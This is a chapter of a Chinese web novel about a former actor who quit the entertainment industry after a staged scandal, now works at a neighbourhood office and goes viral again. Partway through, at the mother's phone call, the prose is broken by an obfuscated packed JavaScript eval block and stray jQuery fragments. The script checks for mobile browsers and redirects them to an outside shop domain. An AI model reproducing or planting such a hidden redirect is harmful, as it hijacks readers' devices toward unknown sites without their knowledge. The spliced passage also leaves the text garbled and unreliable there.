后屋。
门一关，乱声顿时被隔在外面。
只剩口袋里的手机，还在一下接一下地震。
嗡。
嗡。
嗡。
谢临舟靠着门板，闭了闭眼，伸手把手机摸出来，扫了眼锁屏。
一百九十七条新消息。
三十二个未接来电。
八个微信语音通话。
发消息的人从他妈、他哥，一路排到大学室友、高中同桌、合作过的导演、前经纪人梁曼，甚至还有那个三个月前就该注销、却一直没舍得关的工作室管理员。
最上面那条，是王主任。只有四个字：
老谢，进来。
谢临舟把手机重新扣回掌心，转身往办公室走。
王主任坐在她那张老皮转椅里，面前摊着一张打印出来的热搜截图。
“坐。”
谢临舟坐下。
王主任把那张纸推过来。
“你自己看。”
热搜第一。
#谢临舟街道办#
配图是刚才直播里那一帧——他顺手把口罩往下拉了一下，侧脸被晨光斜斜打亮，眼底带一点没休息够的淡淡倦意。
图不算高清。
可那张脸，够用了。
近几年稍微关注过内娱的人，很难认不出来。
王主任抿了一口水。
“半年前你来入职的时候，我问过你，家里想好了没有，自己想好了没有。”
“嗯。”
“档案我亲自核的。学历、考试、政审、体检，每一样都没问题。”她看着他，“但我从头到尾，没问过你以前是干什么的。”
谢临舟抬眼：“我知道。”
“不是我不好奇，是我怕你真跟我说。”王主任把保温杯放下，“你要是说了，我就得往上报。”
墙上的挂钟咔嗒咔嗒走过两格。
“但现在不一样了。”
“现在，”王主任把那张热搜截图按平，“全网都知道了。”
谢临舟垂眼看着那张截图，指腹在纸边按了一下。
这种感觉他不陌生。
他十六岁那年，也在校门口被人堵过。
他没接对方递来的名片。
那会儿他的人生规划非常清晰：考清华，毕业，上班。
后来他也确实考上了。谢家前后出了三个考进清华的——他爸、他哥，再加上他。他哥比他大七岁，毕业后没出过这个城。录取通知书寄到家那天，他妈站在厨房门口，难得笑着说了一句：“行，祖坟这回是真冒烟了。”
大一那年，他报了个话剧社。不是因为多热爱表演，纯粹是高数挂了一门，心烦，想找点事分散注意力。
那场戏他演的是《雷雨》里的周冲。
演完，后台等着一个人。
闻叙。
那时候闻叙还没红起来，站在后台走廊里，递给他一张纸条。上面写着一句话：
“你不是演周冲的料，但你是这个本子里最有意思的那张脸。喝杯咖啡？”
谢临舟当场就拒了：“我还有专业课。”
闻叙看着他，笑了一声：“你这张脸，不演戏挺浪费。”
“浪费怎么了。”他说，“我爸妈也没让我演戏。”
后来真正把他推到镜头前的，不是星探，也不是闻叙，是一个再普通不过的公益短片。十秒镜头，一个侧脸，一夜之间被全网扒干净。
那时他大四。
家里为这事吵过一次。他妈坐在客厅里，看了他半天，说：“你自己想清楚。娱乐圈不是你那点聪明够用的地方。”
“我就试两年。”他说。
“试不成呢？”
“回来。”
“回来干什么？”
“考编。”
他妈当场气笑了：“清华的学历，你要去考编？”
“那怎么了。清华不配考编啊？”
屋里的暖气咔哒响了一声。
“所以。”王主任手指在杯沿上点了一下，“你考编，是认真的。”
“是。”
“不是来避风头的。”
“不是。”
“也不是一时赌气。”
“不是。”
虽然那一年他还是去了。
一去八年。
这八年他确实红过。红得他妈每次打电话，第一句都先问：“你今天是不是又上热搜了？”
最热的时候，他一部青春片爆红，一部古装剧冲榜，机场街拍都能被评年度最佳造型。
他站过万人体育馆的灯下，也走过巴黎秀场的长廊。
可红归红，他始终没碰上一个真正想演的角色。
不会营业，不会撒糖，公开场合总是一张冷脸。
记者问建议，他说：“能别入行就别入行。”
问感情，他回：“您管这叫新闻？”
问演技，他说：“及格。”
梁曼最后一次找他谈话时，忍不住说：“谢临舟，你的问题不是不会演，是你太想当自己了。”
他笑了：“不然呢？”
“不然你得当他们想让你当的那个人。”梁曼看着他，“你不当，资源、位置、角色，就都不是你的。”
“我就不能演我想演的戏？”
梁曼把夹着行程单的文件夹合上。
“你什么戏都演不了。”
后来他们确实也没再让他演。
他们给他做了个局。
一场早有准备的饭局，一段剪得天衣无缝的偷拍视频，一句他没说过、却被硬塞进画面里的话，再加上七十二小时没断过的热搜，和公司一句轻飘飘的“已终止合作”。
那时候全网都在等他解释。
他也不是没有想过解释。
那七十二小时里，他写过一版声明。
三千七百多个字。
时间、地点、饭局名单、剪辑漏洞、原始录音、现场证人……
能列的，他都列了。
写完的时候，天已经亮了。
窗外的光从窗帘缝里透进来，落在电脑屏幕上，那些字黑白分明得刺眼。
手机在桌上震了一下。
梁曼发来一条消息：公司这边建议你暂时不要回应。
这条消息她隔了很久才发出来。
过了两分钟，又一条：后续统一按公司口径处理。
再过一会儿，是一份文档。
标题写得很官方：
《谢临舟相关舆情应对建议》
他点开看了一眼。
第一条：承认情绪失控。
第二条：向相关工作人员致歉。
第三条：暂停公开活动，配合公司内部调查。
第四条：后续如有合作方问询，统一回复“艺人个人原因”。
谢临舟看着那几行字，忽然笑了一下。
原来连他该怎么认错，他们都替他写好了。
他把那份文档关掉，又点开自己写的声明。
三千七百多个字。
每一个字都是真的。
可那时候，那套机器最不在乎的，偏偏就是真假。
公司手里有剪好的视频，有提前铺好的热搜，有营销号，有合作方，也有一整套比他说话更快的东西。
他发出去，会有人信，也会有人不信。
会有人逐条分析，会有人逐帧截图，会有人说他终于急了，也会有人把那几段他没有说过的话重新转一遍。
对着镜头，再真的话也会变成表演。
证明本身，就是素材。
谢临舟看着屏幕。
很久之后，他按下全选。
删除。
电脑屏幕空了。
梁曼的电话又打进来。
他没接。
手机震到第七声，自己停了。
几分钟后，她又发来一句：临舟，别把事情弄得太难看。
谢临舟看着那行字，指尖停了停。
最后只回了两个字：不用。
不用公司口径。
不用配合调查。
不用承认没做过的事。
也不用再替他们把这场戏演完。
那天中午，他发了最后一条微博。
四个字。
退圈。别找。
然后消失。
那天晚上，他妈给他打了个电话。
电话接通后，两边都没说话。
那头有水声，像是在洗碗。水声哗啦啦地响了一会儿，停了。
过了很久，他妈才开口。
“两年，你超了六年。”
“嗯。”
“还回来考吗？”
屋里没开灯。谢临舟坐在窗边，手机屏幕还没暗。
屏幕上是他刚发出去的那条微博，四个字。
半晌，他说：
“考。”
他妈又沉默了一会儿。
那头传来一点轻微的响动，是抹布搭回水池边的声音。
“那回来准备。”
他说：“妈。”
“嗯？”
“我不丢人。”
电话那头静了两秒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509948|202955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我从来没觉得你丢人。”
挂了电话，谢临舟在窗边又坐了一会儿。
路对面那家东北串店关灯打烊，哗啦哗啦地拉上了铁皮卷帘门。
他起身开灯，从书架最底层把那摞考公教材抽出来——买了六年，塑封都还没拆。
他撕掉塑封，翻开第一页。
八个月后，他考进临江街道办。
那八个月他基本没出门。
申论资料从卧室一直堆到电视柜上。行测错题本翻烂了三本。
楼下快递员那阵以为这家没人住——他只在每天傍晚六点准时下楼，买一包速冻饺子。
他考了三次模拟。
第一次差六分。
第二次差两分。
第三次刚过线一分。
他对着那个一分笑了一下。
入职那天，王主任问他：“小伙子，怎么想到来我们这儿？”
他说：“离家近，三站地。”
“就这？”
“我妈身体不太好。”他说。
王主任那时候看了他一眼。
她做基层这么多年，知道有些人话只说一半，不是藏着掖着，是已经把更重要的那一半给说完了。
那天她没再追问。
入职第一个月，谢临舟也不算顺。
低保材料退过两回。
第一次进户走访，被一位阿姨劈头一句"你们是不是来赶我走的"堵在门口，半天没接上话。
王主任没骂他，只把街区地图往他桌上一拍。
“聪明不算本事。”她说，“记得住人才算。”
第二天，他抽屉里多了一本手画的楼栋图。
那天她没再追问。今天也一样。
办公室里，窗台下的老式暖气片响了一声，像是在通水。
谢临舟抬眼看向王主任：“我早就想考了。不是退圈以后才想的。”
王主任看着他，半晌，才道：“我知道。”
她站起身，把那张热搜截图团起来，扔进废纸篓。
纸团在筐里弹了一下，没弹出来。
“你今天前面那一段，处理得很好。冯奶奶这事儿，要不是你盯住了，后面真说不好。”她顿了顿，“但你红了。”
“嗯。”
“第二次。”
两个人都没再说话。
“我不是担心你红不红。”王主任说，“我担心的是，你这班还能不能继续上。”
谢临舟没接话。
“区里会问，记者会来堵，你前公司那帮人也得来蹭。”王主任顿了顿，“你爸妈、你旧朋友那边的电话，一个都少不了。”
她从抽屉里拿出一个信封，推到他面前。
“年假。”她说，“区里批过的。你先回去歇两天。”
谢临舟没接。
“主任。”
“嗯。”
“我不休。”
王主任抬头：“……嗯？”
“下周三梧桐巷老旧小区改造听证会。”他说，“材料我整理一半了，还差冯奶奶他们那栋的走访意见。今天下午本来就排了要去。”
王主任看着他，眼神像在重新确认他是不是认真的。
“我上班不是为了红。”
谢临舟神色平静，和往常的每一天一样，看不出任何分别。
“我上班，就是为了上班。”
窗外是临江午后的阳光。
打字机敲的声音从隔壁办公室传过来。
走廊尽头有人在烧水，水开了，咕嘟咕嘟响。
桌上那张被王主任推过来的热搜截图，被风吹起来一个角。
王主任突然笑了。
“行。”她把信封往桌上一拍，“你不休。你不休的话——”
“嗯？”
“记者你自己应付。”
“……好。”
“咱街道办没公关部，没宣传费，也没多余保安。”王主任慢悠悠道，“他们今天下午就会堵门。”
“堵不到第三天。”谢临舟说。
“为什么？”
“因为没新闻。”他语气淡淡，“我今天下班，明天上班，后天继续上班。没新闻。”
这回轮到王主任顿住。
她盯着他看了两秒，忽然抬手，在他肩上拍了一下。
“好小子。”
谢临舟没说话。
王主任没再说什么，转身走到门口，手搭在门把上。
临出门又回过头。
“对了，小林那傻子，你也去看看。”她说，“在外头哭得快抽过去了。”